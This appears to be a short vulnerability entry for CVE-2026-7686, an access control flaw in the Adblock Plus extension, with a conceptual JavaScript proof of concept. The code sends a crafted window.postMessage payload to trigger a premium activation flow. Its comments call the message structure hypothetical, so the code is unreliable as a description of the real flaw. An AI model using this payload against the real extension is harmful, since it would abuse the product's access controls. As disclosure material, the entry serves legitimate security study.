CVE-2026-7686 eyeo Adblock Plus访问控制不当漏洞

// Conceptual PoC for CVE-2026-7686 // Exploiting postMessage in premium.preload.js // Target the extension's content script or background page context // Note: In a real scenario, the attacker would need to know the specific message structure expected by the extension. function exploitAdblockPlus() { // Construct a malicious message payload targeting the legacy activation flow const payload = { type: 'PREMIUM_ACTIVATION', // Hypothetical message type based on the component name userId: 'arbitrary_user_id', // Attacker controlled user ID action: 'activate_trial' }; // Send the message to the window/target where the extension listens window.postMessage(payload, '*'); console.log('Malicious postMessage sent to trigger legacy activation.'); } // Execute the exploit exploitAdblockPlus();